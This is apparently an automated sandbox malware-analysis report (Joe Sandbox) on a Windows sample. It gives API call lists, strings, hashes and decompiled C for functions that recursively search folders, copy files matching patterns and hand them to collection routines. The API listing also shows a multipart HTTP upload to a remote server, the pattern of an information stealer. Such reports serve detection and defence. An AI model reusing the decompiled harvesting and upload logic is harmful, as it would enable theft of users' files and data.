0x00405168
0x00405175
0x00405182
0x0040519b

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388,?,?,00406843,007E42C8,007E56C8,007F91C8,?), ref: 00404C2A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C31
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404C58
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404C7A
StrCmpCA.SHLWAPI(?,https://), ref: 00404C9D
lstrcat.KERNEL32(?,00000000), ref: 00404CD0
lstrcat.KERNEL32(?,00418B9C), ref: 00404CE2
lstrcat.KERNEL32(?,------), ref: 00404CF4
lstrcat.KERNEL32(?,?), ref: 00404D08
lstrcat.KERNEL32(?,00418BA8), ref: 00404D1A
lstrcat.KERNEL32(?,00418B9C), ref: 00404D2C
lstrcat.KERNEL32(?,007E48B0), ref: 00404D40
lstrcat.KERNEL32(?,?), ref: 00404D54
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00404D7D
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404DA2
HttpOpenRequestA.WININET(00000000,007FA058,?,007FAC30,00000000,00000000,00C00100,00000000), ref: 00404DE7
HttpOpenRequestA.WININET(00000000,007FA058,?,007FAC30,00000000,00000000,00400100,00000000), ref: 00404E19
lstrcat.KERNEL32(?,------), ref: 00404E3E
lstrcat.KERNEL32(?,?), ref: 00404E52
lstrcat.KERNEL32(?,00418B9C), ref: 00404E64
lstrcat.KERNEL32(?,007F9400), ref: 00404E78
lstrcat.KERNEL32(?,007F9FA8), ref: 00404E8B
lstrcat.KERNEL32(?,"), ref: 00404E9D
lstrcat.KERNEL32(?,?), ref: 00404EAE
lstrcat.KERNEL32(?,00418B9C), ref: 00404EC0
lstrcat.KERNEL32(?,------), ref: 00404ED2
lstrcat.KERNEL32(?,?), ref: 00404EE6
lstrcat.KERNEL32(?,00418B9C), ref: 00404EF8
lstrcat.KERNEL32(?,007E4630), ref: 00404F0C
lstrcat.KERNEL32(?,?), ref: 00404F1D
lstrcat.KERNEL32(?,"), ref: 00404F2F
lstrcat.KERNEL32(?,007F9370), ref: 00404F42
lstrcat.KERNEL32(?,00418B9C), ref: 00404F54
lstrcat.KERNEL32(?,007F9430), ref: 00404F67
lstrcat.KERNEL32(?,), ref: 00404F79
lstrlen.KERNEL32(?), ref: 00404F86
lstrlen.KERNEL32(?), ref: 00404F98
GetProcessHeap.KERNEL32(00000000,?), ref: 00404FAF
RtlAllocateHeap.NTDLL(00000000), ref: 00404FB6
lstrlen.KERNEL32(?), ref: 00404FC9
memcpy.NTDLL(?,?,00000000), ref: 00404FDE
lstrlen.KERNEL32(?,?,?), ref: 00404FF3
memcpy.NTDLL(?), ref: 00405000
lstrlen.KERNEL32(?), ref: 0040500D
lstrlen.KERNEL32(?,?,00000000), ref: 00405022
memcpy.NTDLL(?), ref: 00405032
lstrlen.KERNEL32(?,?,?), ref: 00405071
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00405086
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 004050A5
StrCmpCA.SHLWAPI(?,200), ref: 004050BB
Sleep.KERNEL32(00007530), ref: 004050CC
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040511D
lstrcat.KERNEL32(?,00000000), ref: 00405159
InternetCloseHandle.WININET(?), ref: 00405168
InternetCloseHandle.WININET(?), ref: 00405175
InternetCloseHandle.WININET(00000000), ref: 00405182

Strings

", xrefs: 00404E91
------, xrefs: 00404CE8, 00404E32, 00404EC6
0F~, xrefs: 00404EFE
, xrefs: 00404F6D
https://, xrefs: 00404C94
200, xrefs: 004050AF
", xrefs: 00404F23

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID: $"$"$------$0F~$200$https://
API String ID: 3074752877-4194697892
Opcode ID: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction ID: e23421f7279307ab3a44037bb1bbfee425b9f76c6f481fad167fe3b69a740ec5
Opcode Fuzzy Hash: 7e193f7b750088dcc95744bcbbb277857cdff21b1dcf883b5ec6c60b5828c7ff
Instruction Fuzzy Hash: BDF176B5A51218AFCB20DFA0DD48FDB7779AF48704F0085D9F209A7181CB78AA94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004087E0, Relevance: 40.6, APIs: 21, Strings: 2, Instructions: 337
fileCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E004087E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, signed int _a32, signed int _a36) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				void* _t121;
				signed int _t122;
				int _t124;
				signed int _t126;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t134;
				void* _t146;
				intOrPtr _t200;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t276;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t273 = _t272 + 0xc;
				_t121 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t121;
				if(_v272 != 0xffffffff) {
					goto L2;
				} else {
					return _t121;
				}
				do {
					L2:
					_t122 =  *0x41aa4c( &(_v596.cFileName), 0x414010);
					__eflags = _t122;
					if(_t122 == 0) {
						L4:
						goto L22;
					}
					_t126 =  *0x41aa4c( &(_v596.cFileName), 0x414014);
					__eflags = _t126;
					if(_t126 != 0) {
						wsprintfA( &_v860, "%s\%s");
						_t273 = _t273 + 0x10;
						_t129 =  *0x41a534; // 0x7fad68
						__eflags =  *0x41aa4c( &(_v596.cFileName), _t129, _a8,  &(_v596.cFileName));
						if(__eflags != 0) {
							_t200 = E0041A050; // 0x7fa1b8
							__eflags =  *0x41aa4c( &(_v596.cFileName), _t200);
							if(__eflags != 0) {
								_t132 =  *0x41a5ac; // 0x7fae10
								__eflags =  *0x41aa4c( &(_v596.cFileName), _t132);
								if(__eflags != 0) {
									_t134 =  *0x41a360; // 0x7fa2a8
									__eflags =  *0x41aa4c( &(_v596.cFileName), _t134);
									if(__eflags != 0) {
										__eflags = _v596.dwFileAttributes & 0x00000010;
										if((_v596.dwFileAttributes & 0x00000010) != 0) {
											E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
											_t273 = _t273 + 0x24;
										}
									} else {
										GetCurrentDirectoryA(0x104,  &_v1388);
										 *0x41aa24( &_v1388, 0x414018);
										_t146 = E0040B8B0( &(_v596.cFileName), __eflags, 8);
										_t274 = _t273 + 4;
										 *0x41aa24( &_v1388, _t146);
										CopyFileA( &_v860,  &_v1388, 1);
										__eflags = _a36;
										if(__eflags != 0) {
											E00408510(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										__eflags = _a28;
										if(__eflags != 0) {
											E00408650(_a12, __eflags,  &_v1388, _a4, _a12, _a16, _a20, _a24);
											_t274 = _t274 + 0x18;
										}
										DeleteFileA( &_v1388);
										E0040B720( &_v1388, 0x104);
										E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
										_t273 = _t274 + 0x24;
									}
								} else {
									GetCurrentDirectoryA(0x104,  &_v1124);
									 *0x41aa24( &_v1124, 0x414018);
									 *0x41aa24( &_v1124, E0040B8B0( &(_v596.cFileName), __eflags, 8));
									CopyFileA( &_v860,  &_v1124, 1);
									E004082E0(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
									_t276 = _t273 + 0x1c;
									__eflags = _a32;
									if(__eflags != 0) {
										E00408150(_a12, __eflags,  &_v1124, _a4, _a12, _a16, _a20, _a24);
										_t276 = _t276 + 0x18;
									}
									DeleteFileA( &_v1124);
									E0040B720( &_v1124, 0x104);
									E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
									_t273 = _t276 + 0x24;
								}
							} else {
								E00407D50(__eflags,  &_v860, _a4, _a12, _a16, _a20, _a24);
								E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
								_t273 = _t273 + 0x3c;
							}
						} else {
							E00407AC0(_a12, __eflags, _a4,  &_v860, _a12, _a16, _a20);
							E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
							_t273 = _t273 + 0x38;
						}
						E0040B720( &_v860, 0x104);
						goto L22;
					}
					goto L4;
					L22:
					_t124 = FindNextFileA(_v272,  &_v596);
					__eflags = _t124;
				} while (_t124 != 0);
				return FindClose(_v272);
			}

0x004087ec
0x004087f9
0x004087ff
0x00408810
0x00408816
0x00408823
0x00000000
0x00000000
0x00000000
0x00000000
0x0040882a
0x0040882a
0x00408836
0x0040883c
0x0040883e
0x00408856
0x00000000
0x00408856
0x0040884c
0x00408852
0x00408854
0x00408872
0x00408878
0x0040887b
0x0040888e
0x00408890
0x004088e8
0x004088fc
0x004088fe
0x0040895a
0x0040896d
0x0040896f
0x00408a68
0x00408a7b
0x00408a7d
0x00408b7f
0x00408b82
0x00408bae
0x00408bb3
0x00408bb3
0x00408a83
0x00408a8f
0x00408aa1
0x00408aa9
0x00408aae
0x00408ab9
0x00408acf
0x00408ad5
0x00408ad9
0x00408af6
0x00408afb
0x00408afb
0x00408afe
0x00408b02
0x00408b1f
0x00408b24
0x00408b24
0x00408b2e
0x00408b40
0x00408b6f
0x00408b74
0x00408b74
0x00408975
0x00408981
0x00408993
0x004089ab
0x004089c1
0x004089e2
0x004089e7
0x004089ea
0x004089ee
0x00408a0b
0x00408a10
0x00408a10
0x00408a1a
0x00408a2c
0x00408a5b
0x00408a60
0x00408a60
0x00408900
0x0040891b
0x0040894d
0x00408952
0x00408952
0x00408892
0x004088a9
0x004088db
0x004088e0
0x004088e0
0x00408bc2
0x00000000
0x00408bc2
0x00000000
0x00408bc7
0x00408bd5
0x00408bdb
0x00408bdb
0x00000000

APIs

wsprintfA.USER32 ref: 004087F9
FindFirstFileA.KERNEL32(?,?), ref: 00408810
StrCmpCA.SHLWAPI(?,00414010), ref: 00408836
StrCmpCA.SHLWAPI(?,00414014), ref: 0040884C
FindNextFileA.KERNEL32(000000FF,?), ref: 00408BD5
FindClose.KERNEL32(000000FF), ref: 00408BEA

Strings

%s\%s, xrefs: 00408866
%s\*, xrefs: 004087ED

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction ID: 0b41a1abc190fb4bcf7a86ba3d7a33f51ad09bf1deba5e068821b47be1bcc9a2
Opcode Fuzzy Hash: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction Fuzzy Hash: 6FD12EB2500109ABCB14DF94DD84EEB73BDAF8C704F04869DB609A3150EA74EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405E40, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 215
filestringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00405E40(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char* _a20, int _a24, intOrPtr _a28, int _a32, intOrPtr _a36) {
				char _v5004;
				char _v5268;
				void* _v5272;
				struct _WIN32_FIND_DATAA _v5596;
				char _v5860;
				char _v6124;
				int _v6128;
				char _v6132;
				void* _t76;
				int _t77;
				int _t79;
				int _t81;
				int _t85;
				void* _t89;
				int _t91;
				int _t102;
				int _t103;
				int _t104;
				int _t106;
				void* _t157;
				void* _t158;
				void* _t159;

				E004139B0(0x17f0, __ecx);
				wsprintfA( &_v5268, "%s\*");
				_t158 = _t157 + 0xc;
				_v5272 = FindFirstFileA( &_v5268,  &_v5596);
				E0040B720( &_v5004, 0x1388);
				_t76 =  *0x41aa24( &_v5004, _a36, _a16);
				if(_v5272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v5596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L25;
					}
					_t81 =  *0x41aa4c( &(_v5596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v6124, "%s\%s");
						_t159 = _t158 + 0x10;
						_t85 =  *0x41aa4c(_a12, 0x41401a, _a16,  &(_v5596.cFileName));
						__eflags = _t85;
						if(_t85 != 0) {
							__eflags = _a32;
							if(_a32 == 0) {
								wsprintfA( &_v5860, "%s\\%s\\%s", _a4, _a12,  &(_v5596.cFileName));
								_t158 = _t159 + 0x14;
							} else {
								_push( &(_v5596.cFileName));
								_push(_a12);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							}
						} else {
							__eflags = _a32;
							if(_a32 == 0) {
								_push( &(_v5596.cFileName));
								_push(_a4);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							} else {
								wsprintfA( &_v5860, 0x414024,  &(_v5596.cFileName));
								_t158 = _t159 + 0xc;
							}
						}
						_t89 =  *0x41a908( &_v5004);
						__eflags = _t89 - 3;
						if(_t89 <= 3) {
							_t91 = PathMatchSpecA( &(_v5596.cFileName), _a20);
							__eflags = _t91;
							if(_t91 != 0) {
								CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
								E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
								_t158 = _t158 + 0xc;
								DeleteFileA( &(_v5596.cFileName));
							}
							L23:
							__eflags = _a24;
							if(__eflags != 0) {
								E00405E40(_a4, __eflags, _a4, _a8,  &_v5860,  &_v6124, _a20, _a24, _a28, _a32, _a36);
								_t158 = _t158 + 0x24;
							}
							goto L25;
						}
						_t102 = E0040C090( &_v5004, ",",  &_v6132);
						_t158 = _t158 + 0xc;
						_v6128 = _t102;
						while(1) {
							__eflags = _v6128;
							if(_v6128 == 0) {
								break;
							}
							_t103 =  *0x41a990( &(_v5596.cFileName), _v6128, 0);
							__eflags = _t103;
							if(_t103 == 0) {
								_t106 = PathMatchSpecA( &(_v5596.cFileName), _a20);
								__eflags = _t106;
								if(_t106 != 0) {
									CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
									E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
									_t158 = _t158 + 0xc;
									DeleteFileA( &(_v5596.cFileName));
								}
							}
							_t104 = E0040C090(0, ",",  &_v6132);
							_t158 = _t158 + 0xc;
							_v6128 = _t104;
						}
						goto L23;
					}
					goto L4;
					L25:
					_t79 = FindNextFileA(_v5272,  &_v5596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v5272);
			}

0x00405e48
0x00405e5d
0x00405e63
0x00405e7a
0x00405e8c
0x00405e9c
0x00405ea9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405eb0
0x00405eb0
0x00405ebc
0x00405ec2
0x00405ec4
0x00405edc
0x00000000
0x00405edc
0x00405ed2
0x00405ed8
0x00405eda
0x00405ef8
0x00405efe
0x00405f0a
0x00405f10
0x00405f12
0x00405f5a
0x00405f5e
0x00405f9d
0x00405fa3
0x00405f60
0x00405f66
0x00405f6a
0x00405f77
0x00405f7d
0x00405f7d
0x00405f14
0x00405f14
0x00405f18
0x00405f3e
0x00405f42
0x00405f4f
0x00405f55
0x00405f1a
0x00405f2d
0x00405f33
0x00405f33
0x00405f58
0x00405fad
0x00405fb3
0x00405fb6
0x00406084
0x0040608a
0x0040608c
0x0040609e
0x004060b6
0x004060bb
0x004060c5
0x004060c5
0x004060cb
0x004060cb
0x004060cf
0x004060fb
0x00406100
0x00406100
0x00000000
0x004060cf
0x00405fcf
0x00405fd4
0x00405fd7
0x00405fdd
0x00405fdd
0x00405fe4
0x00000000
0x00000000
0x00405ffa
0x00406000
0x00406002
0x0040600f
0x00406015
0x00406017
0x00406029
0x00406041
0x00406046
0x00406050
0x00406050
0x00406017
0x00406064
0x00406069
0x0040606c
0x0040606c
0x00000000
0x00406077
0x00000000
0x00406103
0x00406111
0x00406117
0x00406117
0x00000000

APIs

wsprintfA.USER32 ref: 00405E5D
FindFirstFileA.KERNEL32(?,?,?,00000000,?), ref: 00405E74
lstrcat.KERNEL32(?,?), ref: 00405E9C
StrCmpCA.SHLWAPI(?,00414010), ref: 00405EBC
StrCmpCA.SHLWAPI(?,00414014), ref: 00405ED2
FindNextFileA.KERNEL32(000000FF,?), ref: 00406111
FindClose.KERNEL32(000000FF), ref: 00406126

Strings

%s\%s, xrefs: 00405EEC, 00405F43, 00405F6B
%s\*, xrefs: 00405E51
%s\%s\%s, xrefs: 00405F91

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-1426491737
Opcode ID: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction ID: 0bc9b02d7ab3545e21e8315ee4c466327c2adae897de70d70c4ab632552244ce
Opcode Fuzzy Hash: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction Fuzzy Hash: A88174B5900208EFCB14DFA4DC44DEB73B8EF48745F4486A9F60A96180D7789B94CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00409970, Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00409989
FindFirstFileA.KERNEL32(?,?), ref: 004099A0
StrCmpCA.SHLWAPI(?,00414010), ref: 004099C6
StrCmpCA.SHLWAPI(?,00414014), ref: 004099DC
FindNextFileA.KERNEL32(000000FF,?), ref: 00409B20
FindClose.KERNEL32(000000FF), ref: 00409B35

Strings

%s\*, xrefs: 0040997D

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*
API String ID: 180737720-766152087
Opcode ID: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction ID: f00fb7030c8b22b76076fdd7412de7885a7951318a5a6e6dd79535400c2c2ee4
Opcode Fuzzy Hash: d36557e83e60a98afa7e569db09bb73b01886f17925a8ce19d475cf2d8557a23
Instruction Fuzzy Hash: 544167B2510218ABCB10DFA0DD48EEB77B8BF4C705F04859AB20992151E778EB94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00688A30, Relevance: 31.8, APIs: 21, Instructions: 337fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00688A49
FindFirstFileA.KERNEL32(?,?), ref: 00688A60
StrCmpCA.SHLWAPI(?,00414010), ref: 00688A86
StrCmpCA.SHLWAPI(?,00414014), ref: 00688A9C
FindNextFileA.KERNEL32(000000FF,?), ref: 00688E25
FindClose.KERNEL32(000000FF), ref: 00688E3A

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction ID: 51ff2e3ed295b6732b90766c02d139d67e62e5d8e324c5ec80629516d3923383
Opcode Fuzzy Hash: 8860fb76c00992ec9b6090301a4dc91e227bf6d1901a6b14b4adba910f5443df
Instruction Fuzzy Hash: 84D10EB2500109AFCB14EF94DD85EEB73BDBF8C700F448699B60993150EA34EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E00401280(intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				void* _t43;
				intOrPtr _t66;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t99 = _t98 + 0xc;
				_t43 = FindFirstFileA( &_v268,  &_v596);
				_v272 = _t43;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L11;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_push( &(_v596.cFileName));
							_push(_a8);
							wsprintfA( &_v1124, "%s\%s");
							_t100 = _t99 + 0x10;
							_push(0x41401a);
							_push(_a4);
							if( *0x41aa4c() != 0) {
								_push( &(_v596.cFileName));
								_push(_a4);
								wsprintfA( &_v860, "%s\%s");
								_t101 = _t100 + 0x10;
							} else {
								wsprintfA( &_v860, 0x414024,  &(_v596.cFileName));
								_t101 = _t100 + 0xc;
							}
							if(PathMatchSpecA( &(_v596.cFileName), _a12) != 0) {
								E0040B720( &_v1652, 0x104);
								E0040B720( &_v1388, 0x104);
								 *0x41aa24( &_v1652, _a8);
								 *0x41aa24( &_v1652, 0x414018);
								 *0x41aa24( &_v1652,  &(_v596.cFileName));
								_t66 =  *0x41a5a4; // 0x7f92a0
								 *0x41aa24( &_v1388, _t66);
								 *0x41aa24( &_v1388,  &_v860);
								E004137C0(_a16,  &_v1388,  &_v1652);
								_t101 = _t101 + 0xc;
							}
							E00401280( &_v860,  &_v1124, _a12, _a16);
							_t99 = _t101 + 0x10;
							goto L11;
						}
						goto L4;
						L11:
					} while (FindNextFileA(_v272,  &_v596) != 0);
					return FindClose(_v272);
				}
				return _t43;
			}

0x0040128c
0x00401299
0x0040129f
0x004012b0
0x004012b6
0x004012c3
0x004012ca
0x004012ca
0x004012d5
0x004012de
0x004012f6
0x00000000
0x004012f6
0x004012e0
0x004012eb
0x004012f4
0x00401301
0x00401305
0x00401312
0x00401318
0x0040131b
0x00401323
0x0040132c
0x00401352
0x00401356
0x00401363
0x00401369
0x0040132e
0x00401341
0x00401347
0x00401347
0x0040137f
0x00401391
0x004013a2
0x004013b2
0x004013c4
0x004013d8
0x004013de
0x004013eb
0x004013ff
0x00401417
0x0040141c
0x0040141c
0x00401435
0x0040143a
0x00000000
0x0040143a
0x00000000
0x0040143d
0x00401451
0x00000000
0x00401460
0x00000000

APIs

wsprintfA.USER32 ref: 00401299
FindFirstFileA.KERNEL32(?,?), ref: 004012B0
StrCmpCA.SHLWAPI(?,00414010), ref: 004012D6
StrCmpCA.SHLWAPI(?,00414014), ref: 004012EC
FindNextFileA.KERNEL32(000000FF,?), ref: 0040144B
FindClose.KERNEL32(000000FF), ref: 00401460

Strings

%s\%s, xrefs: 00401306, 00401357
%s\*, xrefs: 0040128D

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*
API String ID: 180737720-2848263008
Opcode ID: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction ID: 4cd9f1fc2f596726c4666f8bf9c741da0555b1e74a9e6087d7d803036aaf4599
Opcode Fuzzy Hash: 9a946c6c1b585fb6ecffd09ad8bd87ccec9506f78aa8e12e69a80bbcdc18ab01
Instruction Fuzzy Hash: 56518672500218ABCB10DFA0DD48EEA73B8BF4C705F0485A9B609A3150E779EB94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00686090, Relevance: 30.2, APIs: 20, Instructions: 215filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006860AD
FindFirstFileA.KERNEL32(?,?), ref: 006860C4
lstrcat.KERNEL32(?,?), ref: 006860EC
StrCmpCA.SHLWAPI(?,00414010), ref: 0068610C
StrCmpCA.SHLWAPI(?,00414014), ref: 00686122
FindNextFileA.KERNEL32(000000FF,?), ref: 00686361
FindClose.KERNEL32(000000FF), ref: 00686376

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID:
API String ID: 1125553467-0
Opcode ID: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction ID: 2fc5ac8af05a10c09260c04e934e7bc7582a4d8f57b4f6ca318a97a5dc8991b9
Opcode Fuzzy Hash: bd6139f9ed7005472522956e30392e0ae32b38ee30a9d7aa607009e957b67d75
Instruction Fuzzy Hash: BF8180B6900218EFCF10DFA4DC48EEA73B9AF88741F4486D8F60A96141E7749B94CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00689BC0, Relevance: 28.6, APIs: 19, Instructions: 121fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00689BD9
FindFirstFileA.KERNEL32(?,?), ref: 00689BF0
StrCmpCA.SHLWAPI(?,00414010), ref: 00689C16
StrCmpCA.SHLWAPI(?,00414014), ref: 00689C2C
FindNextFileA.KERNEL32(000000FF,?), ref: 00689D70
FindClose.KERNEL32(000000FF), ref: 00689D85

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction ID: c4945ba756e0f285b5848d12ae42c0183c0cfbf97cced988a60a797101510a02
Opcode Fuzzy Hash: 9e7665e2acc2ddac78455e199e4a0fb3c3545ab69be18fa56164ce7ddbd4b7ab
Instruction Fuzzy Hash: 7B4146B2510218ABCB20EFA0DD48EEA77B8BF4C705F048699B70592150E779EB94CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401090, Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040109D
wsprintfA.USER32 ref: 004010B7
FindFirstFileA.KERNEL32(?,?), ref: 004010CE
StrCmpCA.SHLWAPI(?,00414010), ref: 004010F4
StrCmpCA.SHLWAPI(?,00414014), ref: 0040110A
FindNextFileA.KERNEL32(000000FF,?), ref: 004011D3
FindClose.KERNEL32(000000FF), ref: 004011E8

Strings

%s\%s, xrefs: 004010AB

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s
API String ID: 2809309208-4073750446
Opcode ID: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction ID: 7ffd25992613dc01ae9c6896dea76ef306beac36bf0277a1da173af701ae58c0
Opcode Fuzzy Hash: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction Fuzzy Hash: C63177B6500218ABCB14DFE0DD88EEA77BCAF4C705F0085AAB609A2150DB78D794CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006814D0, Relevance: 24.1, APIs: 16, Instructions: 134fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006814E9
FindFirstFileA.KERNEL32(?,?), ref: 00681500
StrCmpCA.SHLWAPI(?,00414010), ref: 00681526
StrCmpCA.SHLWAPI(?,00414014), ref: 0068153C
FindNextFileA.KERNEL32(000000FF,?), ref: 0068169B
FindClose.KERNEL32(000000FF), ref: 006816B0

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

